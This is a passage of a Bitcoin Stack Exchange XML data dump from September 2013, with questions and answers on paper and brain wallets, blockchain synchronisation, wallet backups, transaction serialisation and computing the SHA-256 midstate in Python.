  <row Id="13487" PostTypeId="2" ParentId="13481" CreationDate="2013-09-26T19:33:14.673" Score="0" Body="&lt;p&gt;As of the 0.8.x series, the reference client does not support paper wallets. You can export individual keys, and print them to paper, but you are very likely to shoot yourself in the foot unless you're familiar with the implementation details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In particular, change (the difference in value between coins used to create your transaction, and the amount being sent) is sent to a fresh address in order to increase privacy of the system. When you're using a paper wallet, you will likely miss these, as well as key pool entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is support planned for deterministic wallets (BIP32), which means a single backup of a wallet seed will be enough to create the wallet. This may or may not end up in 0.9, though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason why no &quot;Export wallet to PDF&quot; exists, is exactly because in the current model, this would result in many misconceptions and lost coins. Without deterministic key generation, no immutable dump of the wallet can survive (a series of) spends.&lt;/p&gt;&#xA;" OwnerUserId="208" LastEditorUserId="208" LastEditDate="2013-09-26T20:59:47.673" LastActivityDate="2013-09-26T20:59:47.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13488" PostTypeId="2" ParentId="11979" CreationDate="2013-09-26T22:27:27.440" Score="3" Body="&lt;p&gt;The UXTO set certainly isn't reconstructed from scratch, that would be an incredible DoS vector if it did. Even on fast machines a complete reconstruction takes hours, days on slower disks and processors. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/8d750f1d21d8578794a765415fe9d0e9e74d2852/src/main.cpp#L2049&quot; rel=&quot;nofollow&quot;&gt;From a look at the source on github&lt;/a&gt;, we can see that your assumption is correct. The UXTO set is reconstructed backwards to the point where the chain is forked, and then continues on down it as normal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The client seems to assume that large (100+) reorganisations of the blocks are improbable, which is why coins need to &quot;mature&quot; to avoid the situation where there's transactions spending coins that no longer exist in the chain. &lt;/p&gt;&#xA;" OwnerUserId="6454" LastEditorUserId="5406" LastEditDate="2014-04-02T08:08:18.260" LastActivityDate="2014-04-02T08:08:18.260" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13489" PostTypeId="1" AcceptedAnswerId="13490" CreationDate="2013-09-26T23:30:45.623" Score="1" ViewCount="887" Body="&lt;p&gt;How do sites like blockchain.info and bitaddress.org generate private keys by simply hashing a string? (the passphrase?) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this wiki article,&#xA;&lt;a href=&quot;https://en.bitcoin.it/wiki/Technical_background_of_version_1_Bitcoin_addresses&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Technical_background_of_version_1_Bitcoin_addresses&lt;/a&gt;&#xA;Step &quot;0&quot; starts with an ECDSA key pair already generated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does this mean that any 256-bit value can be a valid ECDSA private key? So wherever I am in the world, I can always just SHA256(passphrase) and get my private key? &lt;/p&gt;&#xA;" OwnerUserId="3667" LastActivityDate="2013-12-12T13:18:29.157" Title="How are brain wallets generated?" Tags="|ecdsa|brain-wallet|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13490" PostTypeId="2" ParentId="13489" CreationDate="2013-09-26T23:35:53.667" Score="3" Body="&lt;p&gt;Any 256-bit value can be a valid secp256k1 ECDSA private key. Strictly speaking, there's an upper limit that's slightly lower than 2^256, but you can just wrap them around.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So yes, you can just use SHA256(passphrase) to generate a private key.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-09-26T23:35:53.667" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13491" PostTypeId="2" ParentId="3939" CreationDate="2013-09-27T00:05:56.057" Score="2" Body="&lt;p&gt;From the &lt;a href=&quot;https://en.bitcoin.it/wiki/Scalability&quot; rel=&quot;nofollow&quot;&gt;Scalability on the wiki&lt;/a&gt; page&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Today the Bitcoin network is restricted to a sustained rate of 7 tps by some artificial limits. These were put in place to stop people from ballooning the size of the block chain before the network and community was ready for it. Once those limits are lifted, the maximum transaction rate will go up significantly.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I also found &lt;a href=&quot;http://www.youtube.com/watch?v=4d3LA8KpdMQ&quot; rel=&quot;nofollow&quot;&gt;this talk&lt;/a&gt; by Peter Todd from  &lt;a href=&quot;http://keepbitcoinfree.org&quot; rel=&quot;nofollow&quot;&gt;keepbitcoinfree.org&lt;/a&gt; on using off blockchain transactions to avoid hitting the main block chain with the full transaction load which was followed by good Q&amp;amp;A&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's also &lt;a href=&quot;http://coinometrics.com/bitcoin/btix&quot; rel=&quot;nofollow&quot;&gt;some charts comparing to other payment networks&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="136" LastEditorUserId="136" LastEditDate="2013-10-19T13:56:44.110" LastActivityDate="2013-10-19T13:56:44.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13493" PostTypeId="1" CreationDate="2013-09-27T07:30:12.643" Score="1" ViewCount="166" Body="&lt;p&gt;I want to run bitcoind on one of my servers. I tried Windows Server 2012 but after a couple of days bitcoind process freezes and I can't even kill the process(Access is denied). I want to reinstall another release of Windows on my server. What is the best option?&lt;/p&gt;&#xA;" OwnerUserId="6150" LastEditorUserId="2995" LastEditDate="2013-09-27T16:33:03.370" LastActivityDate="2013-09-27T16:33:03.370" Title="What is the best Windows release for bitcoin-qt or bitcoind" Tags="|bitcoind|json-rpc|windows|" AnswerCount="0" CommentCount="2" ClosedDate="2013-11-01T02:31:37.903" ContentLicense="CC BY-SA 3.0" />
  <row Id="13494" PostTypeId="2" ParentId="13482" CreationDate="2013-09-27T08:09:24.717" Score="1" Body="&lt;p&gt;&lt;strong&gt;You are correct, and this is possible.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To summarise the &lt;a href=&quot;https://en.bitcoin.it/wiki/Wallet&quot; rel=&quot;nofollow&quot;&gt;wiki info&lt;/a&gt; on wallets, you can backup the wallet in any form you like in order to preserve the key pairs, transaction history and other useful information. The wallet may become badly out of sync but the backup is still fundamentally usable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As wallets are often implementation-specific and needn't be distributed in the same handy fashion as Bitcoin addresses, your wallet.dat can be fairly large. The Base64 size of your wallet printout will be 4/3rds of the normal wallet size in bytes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Six point font is &lt;a href=&quot;http://www.library.illinois.edu/dcc/bestpractices/chapter_05_ocr.html&quot; rel=&quot;nofollow&quot;&gt;smallest reliable size&lt;/a&gt; for most OCR applications. If I assume you are using the A4 standard, an single A4 page of 6pt monospace font can contain approximately 20,000 characters or 15 kilobytes of Base64 data. Duplex would make that 30KB per page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternately you could use &lt;a href=&quot;http://www.qrcode.com/en/about/version.html&quot; rel=&quot;nofollow&quot;&gt;Version-40 QR codes&lt;/a&gt;, the information density per page could be several times higher. Finding an off-the-shelf open source tool for version-40 QRs could be hard, so you would be relying on third-party software; conflicting your question requirement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When printing to paper instead of plastic, consider flame retardant paper treated with a safe insecticide to reduce the possibility of losing the key to insects or mild fire. Putting the printed key inside a black envelope inside a tamper-evident bag would also be a good idea.&lt;/p&gt;&#xA;" OwnerUserId="6679" LastActivityDate="2013-09-27T08:09:24.717" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13495" PostTypeId="2" ParentId="13476" CreationDate="2013-09-27T10:30:15.933" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Vanitygen&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Vanitygen&lt;/a&gt; is a software which will generate BTC address keypairs at the command-line. Its main purpose is actually to generate &quot;vanity&quot; addresses which contain pretty custom strings, but if you run it as follows then you will get a continuous output of many random public-private pairs: ./vanitygen -k 1 (remove the -k to generate only a single pair rather than continuously generate). I have used these addresses in my testing (sending small amounts), and have always found the private-key to be successfully importable and usable in a wallet. I have personally run vanitygen on ubuntu precise and mac os x mt lion.&lt;/p&gt;&#xA;" OwnerUserId="6891" LastActivityDate="2013-09-27T10:30:15.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13503" PostTypeId="2" ParentId="11251" CreationDate="2013-09-28T09:23:22.800" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Data_directory&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Data_directory&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This might be of some help.I followed that and successfully moved the files from C:\Users[username]\AppData\Roaming\Bitcoin\ to E:\BitcoinData.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just cut and paste the whole content of from the Bitcoin folder (C:\Users[username]\AppData\Roaming\Bitcoin) and set the new target as &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;C:\Program Files (x86)\Bitcoin\bitcoin-qt.exe&quot; -datadir=d:\BitCoinData and that is assuming you have bitcoin Qt installed in your C: drive.Change the path accordingly.&lt;/p&gt;&#xA;" OwnerUserId="6901" LastActivityDate="2013-09-28T09:23:22.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13504" PostTypeId="1" CreationDate="2013-09-28T11:28:44.740" Score="3" ViewCount="571" Body="&lt;p&gt;I have generated few fancy bitcoin addresses with vanitygen. I was looking on some webpage how-to-add the address into my bitcoin wallet. &#xA;I accidentally entered the example private key instead of my generated one.&#xA;Now I have in my wallet someone else's address and plenty of transactions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way how to remove that address from my wallet?&#xA;I did more actions since the last backup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way I came to is to backup private keys from my wallet and add them to some empty wallet.&lt;/p&gt;&#xA;" OwnerUserId="6858" LastActivityDate="2013-09-28T20:57:57.853" Title="Remove public address from my wallet" Tags="|wallet|vanity-address|" AnswerCount="1" CommentCount="2" ClosedDate="2013-10-11T18:38:48.220" ContentLicense="CC BY-SA 3.0" />
  <row Id="13505" PostTypeId="1" AcceptedAnswerId="14004" CreationDate="2013-09-28T12:56:15.817" Score="4" ViewCount="4470" Body="&lt;p&gt;I'm using Windows 8 x64. I've downloaded the latest cgminer (3.4 at this time), but when ever I try and start it I get the error message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error opening terminal: dumb&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've seen various post that suggest this relates to the TERM env var and setting this does change the message to end with what ever is in TERM, but nothing I've tried fixes it. Anyone know what I need to do to get this working?&lt;/p&gt;&#xA;" OwnerUserId="6200" LastActivityDate="2013-12-19T19:53:49.977" Title="cgminer fails to start with error &quot;error opening terminal: dumb&quot;" Tags="|windows|cgminer|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13507" PostTypeId="2" ParentId="3247" CreationDate="2013-09-28T16:23:37.607" Score="4" Body="&lt;p&gt;&lt;strong&gt;[Obsolete answer, see below]&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an update: current versions of the Bitcoin app have a &quot;Back up Keys&quot; feature.  This writes a backup of all the keys in the wallet to a file named &lt;code&gt;bitcoin-wallet-keys-YYYY-MM-DD&lt;/code&gt; (using the current date) in the phone's storage, which you can then copy or transfer wherever you want.  The file is encrypted with a password you supply; it can be decrypted manually using OpenSSL, by running &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;openssl enc -d -aes-256-cbc -a -in bitcoin-wallet-keys-YYYY-MM-DD&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;After decryption, the file is just a list of private keys, one per line, in the standard base 58 compressed format (starting with K).  You can import those keys into some other wallet.  In bitcoin-qt, you'd use the &lt;code&gt;importprivkey&lt;/code&gt; console command.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Further Update&lt;/strong&gt;: As of Bitcoin Wallet 3.53, the &quot;Back Up Keys&quot; feature described above apparently no longer exists.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastEditorUserId="5757" LastEditDate="2014-07-16T22:36:54.903" LastActivityDate="2014-07-16T22:36:54.903" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13508" PostTypeId="1" AcceptedAnswerId="13509" CreationDate="2013-09-28T19:51:40.820" Score="3" ViewCount="1081" Body="&lt;p&gt;Bitcoin is slowly synchronising&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Synchronising the  network... 78 weeks behind&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Do all weeks of blocks take the same time to process? Or will recent blocks be slower because Bitcoin is more popular now?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It felt like going from '100 weeks behind' to '80 weeks behind' took longer than going from '200 weeks behind' to '100 weeks behind'&lt;/p&gt;&#xA;" OwnerUserId="6905" LastEditorUserId="5406" LastEditDate="2013-09-28T23:02:57.347" LastActivityDate="2013-09-28T23:02:57.347" Title="Do all weeks of blocks take the same time to process?" Tags="|blockchain|synchronization|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13509" PostTypeId="2" ParentId="13508" CreationDate="2013-09-28T20:13:01.283" Score="3" Body="&lt;p&gt;It's the number of transactions that counts. The progress bar in recent versions of the reference client (0.8.2 and higher) uses an estimation of this, so it represents real time better.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, after the last checkpoint (block 250000, as of 0.8.5), signature checking is enabled, which requires significantly more CPU to validate.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2013-09-28T20:13:01.283" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13510" PostTypeId="2" ParentId="13504" CreationDate="2013-09-28T20:57:57.853" Score="0" Body="&lt;p&gt;Jackjack's fork of pywallet will allow you to delete a private key, reportedly.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://pywallet.tk&quot; rel=&quot;nofollow&quot;&gt;http://pywallet.tk&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitcointalk.org/index.php?topic=294439.0&quot; rel=&quot;nofollow&quot;&gt;http://bitcointalk.org/index.php?topic=294439.0&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-09-28T20:57:57.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13511" PostTypeId="2" ParentId="1080" CreationDate="2013-09-28T21:04:34.597" Score="2" Body="&lt;p&gt;You don't want to &quot;save&quot; an existing address as a paper wallet, and instead you want to create (securely) an address (e.g., using &lt;a href=&quot;http://bitaddress.org&quot; rel=&quot;nofollow&quot;&gt;BitAddress&lt;/a&gt;) and then make a payment that spends your coins to that address.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-09-28T21:04:34.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13512" PostTypeId="2" ParentId="8765" CreationDate="2013-09-28T21:23:33.983" Score="2" Body="&lt;p&gt;There was a restriction in all v0.7.2 and prior that was incompatible with v0.8.x.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you'll need to upgrade to v0.7.3 or v0.8.x.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.bitcoin.it/wiki/Common_Vulnerabilities_and_Exposures#CVE-2013-3220&quot; rel=&quot;nofollow&quot;&gt;http://en.bitcoin.it/wiki/Common_Vulnerabilities_and_Exposures#CVE-2013-3220&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-09-28T21:23:33.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13513" PostTypeId="1" CreationDate="2013-09-28T23:31:21.107" Score="3" ViewCount="5222" Body="&lt;p&gt;I'd like to create a transaction object from scratch. I've read that the tx id for a transaction is the &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/5887/how-is-a-transaction-id-generated-when-does-it-change-with-a-new-sequence-id?rq=1&quot;&gt;double SHA-256 hash of a serialized transaction&lt;/a&gt;, but havent been able to find details on exactly how the data is formatted before its serialized or how it is serialized for that matter. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could someone, perhaps, provide an example of how the data is organized before it's serialized and/or describe the manner of serialization taking place?&lt;/p&gt;&#xA;" OwnerUserId="5856" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2021-01-23T02:11:43.187" Title="How exactly can I generate a transaction id?" Tags="|transactions|raw-transaction|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13514" PostTypeId="2" ParentId="13513" CreationDate="2013-09-28T23:46:51.477" Score="4" Body="&lt;p&gt;The serialized format is described &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification#tx&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2013-09-28T23:46:51.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13515" PostTypeId="2" ParentId="5385" CreationDate="2013-09-29T01:34:43.843" Score="2" Body="&lt;p&gt;I found using the the command-line option &lt;code&gt;datadir&lt;/code&gt; extremely helpful.&#xA;Backing up everything first is of course advised. Once you specified a new&#xA;datadir, a new wallet is created in this datadir. Then use one of the new addresses of the new wallet and transfer the funds from the old wallet to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Delete the old wallet in the old datadir and copy over the new wallet.dat.&#xA;Works for me :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there is a particular address that you would like to keep, working with&#xA;&lt;code&gt;dumpprivkey&lt;/code&gt; and importing should work.&lt;/p&gt;&#xA;" OwnerUserId="5559" LastActivityDate="2013-09-29T01:34:43.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13516" PostTypeId="2" ParentId="8309" CreationDate="2013-09-29T02:05:51.353" Score="0" Body="&lt;p&gt;You can see a list of verified &quot;provably fair&quot; Bitcoin casino sites, here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://provablyfair.org&quot; rel=&quot;nofollow&quot;&gt;http://provablyfair.org&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Provably Fair Gaming means you can verify each played to ensure you always get a fair deal. Modern cryptographic algorithms hash algorithms compute the fair random number based on data from the blockchain.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on the type of games you like, you can find what you are looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I like Roulette, so I play Bitcoin Roulette:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://Bitcoin-Roulette.com&quot; rel=&quot;nofollow&quot;&gt;http://Bitcoin-Roulette.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the algo they use:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The pseudo-code: &#xA;$hash = TRANSFER_ID;&#xA;$secret_key = SECRET_KEY;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$finalhash = hash_hmac('sha512', $hash . $secret_key);&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$temphash  = substr($finalhash, 0, 4);          // get 4-bytes of final SHA256 hash&#xA;$converted = base_convert($temphash,16,10);     // convert to integer&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$final_answer = $converted % 36;            // get a number from 0 -&gt; 36   &lt;/p&gt;&#xA;" OwnerUserId="2892" LastActivityDate="2013-09-29T02:05:51.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13517" PostTypeId="2" ParentId="8241" CreationDate="2013-09-29T11:46:23.440" Score="1" Body="&lt;p&gt;The network adapts by changing the difficulty level, which means adjusting the chance that any single hash computation is accepted as finding the next block.  If the hash rate for the network goes down, the difficulty decreases which means any single hash calculation has a greater chance of finding a block.  If the hash rate of the network goes up, the difficulty goes up and the lower chance there is of a single hash calculation finding a block.  The system is designed this way so that, no matter how many hashers there are in the network, a block is going to be found every X minutes on average.  (The value of X depends on the fixed design of the currency but is hard-coded so doesn't fluctuate once the design is fixed.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Said another way, a hash is accepted as finding a block if the result of the hash is less than some value Y.  What happens by adjusting the difficulty is that this Y value goes up or down.  So more hashes on the network increases the difficulty and lowers Y.  Fewer hashes decreases the difficulty and raises Y.&lt;/p&gt;&#xA;" OwnerUserId="6911" LastActivityDate="2013-09-29T11:46:23.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13518" PostTypeId="2" ParentId="9712" CreationDate="2013-09-29T12:46:44.210" Score="4" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Transaction too large&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Is your wallet made up up of many, many small amounts? Have you visited any sites giving small amounts of Bitcoin away for &quot;free&quot;? If so, your client is coughing up on the fact that all the small transactions are costing more than the fee they incur to spend. &lt;/p&gt;&#xA;" OwnerUserId="6454" LastActivityDate="2013-09-29T12:46:44.210" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13519" PostTypeId="1" AcceptedAnswerId="13531" CreationDate="2013-09-29T15:18:41.817" Score="1" ViewCount="2953" Body="&lt;p&gt;I had the idea to move all of my existing bitcoins (10 BTC) from Bitcoin-Qt/paper wallet to Coinbase.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had imported the paper wallet to Bitcoin-Qt and the balance there was 10 BTC total. For some reason, I then went and imported the paper wallet to Coinbase, and ~5 BTC was added.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At this point, Bitcoin-Qt still showed the balance as 10 BTC. I went ahead and made a transaction of 10 BTC from Bitcoin-Qt to my Coinbase address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The result is that the transaction keeps having 0 confirmations, Bitcoin-Qt shows balance to be 0 BTC and the transaction never showed up in Blockchain. I have no idea where the &quot;missing&quot; 5 BTC are and what to do. I realize that a double spend might have occurred as 5 BTC was already imported to Coinbase from the paper wallet and I tried to send 10 BTC from the Bitcoin-QT.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the Coinbase address &lt;a href=&quot;https://blockchain.info/address/1GeQeHnJEnKfcfWonGCrj52kChyXqib5sC&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blockchain.info/address/1GeQeHnJEnKfcfWonGCrj52kChyXqib5sC&lt;/a&gt;, and you can see the that the 5 BTC import from the paper wallet went through.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the solution here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's how Bitcoin-Qt's transaction history looks like:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/fuwrU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6913" LastEditorUserId="6913" LastEditDate="2013-09-30T00:16:38.660" LastActivityDate="2013-10-09T04:55:12.837" Title="Sending from Bitcoin-Qt to Coinbase" Tags="|transactions|bitcoin-core|doublespend|coinbase.com|paper-wallet|" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="13520" PostTypeId="1" CreationDate="2013-09-29T21:13:37.573" Score="0" ViewCount="784" Body="&lt;p&gt;I'm trying to figure out the internals of hashing. I've read through a lot of the documentation but unfortunately most of it tends to gloss over the details. In fact I've yet to find a complete and accurate portrayal of a hashing procedure in an easy-to-read language like Python. So I thought I would try to do it myself. I am starting off by trying to verify the &quot;midstate&quot; that comes in every call to getwork (although soon to be removed completely as I understand).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been referencing this example in Go: &lt;a href=&quot;https://stackoverflow.com/questions/9245235/golang-midstate-sha-256-hash/9322486#9322486&quot;&gt;https://stackoverflow.com/questions/9245235/golang-midstate-sha-256-hash/9322486#9322486&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I just hardcoded in the first half of the &quot;data&quot; field which would be returned by the getwork call&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So here's what I've got so far:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python&#xA;import json&#xA;import binascii&#xA;import hashlib&#xA;&#xA;#This function takes a hex string and reverses the order of bytes in every slice of 4 bytes&#xA;def hexbyteswap(string):&#xA;  swapped_string = []&#xA;  n = 8&#xA;  split_string = [string[i:i+n] for i in range(0, len(string),n)]&#xA;  for piece in split_string:&#xA;    binary = binascii.unhexlify(piece)&#xA;    binary_r = binary[::-1]&#xA;    swapped_string.append(binascii.hexlify(binary_r))&#xA;  return &quot;&quot;.join(swapped_string)&#xA;&#xA;#This is the first half of the data string, i.e. the first 64 bytes of the data field&#xA;fhalf=&quot;00000001c570c4764aadb3f09895619f549000b8b51a789e7f58ea750000709700000000103ca064f8c76c390683f8203043e91466a7fcc40e6ebc428fbcc2d8&quot;&#xA;&#xA;# run the byteswap&#xA;fhalf_bin_r_hex = hexbyteswap(fhalf)&#xA;&#xA;#These following steps are where I'm having the problem&#xA;print hashlib.sha256(binascii.unhexlify(fhalf_bin_r_hex)).hexdigest()&#xA;print hashlib.sha256(fhalf_bin_r_hex).hexdigest()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So according to the Go article referenced earlier, I should get this out of my SHA function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;69FC72E76DB0E764615A858F483E3566E42D56B2BC7A03ADCE9492887010EDA8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then if I run the byte swap again I will get the real midstate which is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;e772fc6964e7b06d8f855a6166353e48b2562de4ad037abc889294cea8ed1070&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I am NOT getting anything resembling that at all. I've tried two ways first putting the hex string into the Sha function and getting:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;d3092f90cd1940d050b7a6f43063b081a82bc43c7fe202a5920721b858462a49&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I also tried running unhexlify first and putting it into Sha (shown in the code above) which yields:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;b55c86ea0314d1dea431923d46a18feed832f15ad535256516b796f6909e0dd0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Neither one of these is correct. What am I missing?&lt;/p&gt;&#xA;" OwnerUserId="6915" LastEditorUserId="-1" LastEditDate="2017-05-23T12:34:59.703" LastActivityDate="2015-06-11T06:23:41.767" Title="Calculating Midstate in Python" Tags="|client|bitcoind|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13521" PostTypeId="1" CreationDate="2013-09-29T21:29:23.880" Score="1" ViewCount="1622" Body="&lt;p&gt;I am planning on building a small e-wallet website to learn the basics of encryption and handling accounts, transactions, and balances in Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to learn how to make a website where the database does not hold anyone's private data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What client-side encryption and hashing algorithm should I use? What algorithm or process should I use to ensure that the users encrypted and hashed data is secure on the server?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using &lt;strong&gt;&lt;a href=&quot;https://github.com/brainwallet/brainwallet.github.com&quot; rel=&quot;nofollow&quot;&gt;brainwallet&lt;/a&gt;&lt;/strong&gt;, the process for account creation is this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The client creates a private key.&lt;/li&gt;&#xA;&lt;li&gt;The user enters a username/password&lt;/li&gt;&#xA;&lt;li&gt;The client encrypts the private key with a password. The client hashes the password and username. The client sends data to the server.&lt;/li&gt;&#xA;&lt;li&gt;The server stores the hashed username/password and encrypted private key to the database.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Now, whenever a user wishes to spend a transaction on my site, I am attempting to use brainwallet to send transactions. The process for this will be:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The user types in a username and password.&lt;/li&gt;&#xA;&lt;li&gt;The client sends a hashed username/password to the server.&lt;/li&gt;&#xA;&lt;li&gt;The server responds with an encrypted private key for that user.&lt;/li&gt;&#xA;&lt;li&gt;The client decrypts the private key with a password.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;As a side note: is this a sound process for storing and transmitting data to the server?&lt;/p&gt;&#xA;" OwnerUserId="6024" LastEditorUserId="1405" LastEditDate="2014-01-22T01:18:35.733" LastActivityDate="2014-05-22T08:50:09.357" Title="Storing an encrypted private key on a server" Tags="|transactions|wallet|blockchain.info|e-wallet|encryption|" AnswerCount="1" 